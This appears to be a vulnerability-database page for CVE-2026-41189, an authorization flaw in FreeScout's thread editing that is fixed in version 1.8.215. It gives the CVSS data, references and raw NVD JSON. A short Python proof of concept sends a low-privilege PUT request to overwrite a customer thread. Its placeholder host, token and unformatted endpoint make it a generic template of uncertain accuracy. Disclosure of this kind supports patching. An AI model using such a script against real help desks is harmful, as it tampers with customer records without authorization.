CVE-2026-41189

Description

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, customer-thread editing is authorized through `ThreadPolicy::edit()`, which checks mailbox access but does not apply the assigned-only restriction from `ConversationPolicy`. A user who cannot view a conversation can still load and edit customer-authored threads inside it. Version 1.8.215 fixes the vulnerability.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

FreeScout < 1.8.215

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-freescout.com/api/v1/threads/{thread_id}/conversation"
headers = {
    "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>",
    "Content-Type": "application/json"
}

# Payload to edit customer thread
payload = {
    "body": "This content has been modified by an unauthorized user.",
    "type": "customer"
}

# Exploit: Send request to edit thread
# Vulnerability: ThreadPolicy::edit() misses assignment check
response = requests.put(target_url, headers=headers, json=payload)

if response.status_code == 200:
    print("[+] Exploit successful! Thread edited without proper assignment.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41189
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41189
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41189/
[4] VulDB https://vuldb.com/cve/CVE-2026-41189
[5] https://github.com/freescout-help-desk/freescout/commit/cdadaf621bb1e1d017315df20d743671f7eae7a9
[6] https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215
[7] https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-4h5p-7f5c-q7gj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41189", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:57.367", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, customer-thread editing is authorized through `ThreadPolicy::edit()`, which checks mailbox access but does not apply the assigned-only restriction from `ConversationPolicy`. A user who cannot view a conversation can still load and edit customer-authored threads inside it. Version 1.8.215 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/cdadaf621bb1e1d017315df20d743671f7eae7a9", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-4h5p-7f5c-q7gj", "source": "[email protected]"}]}}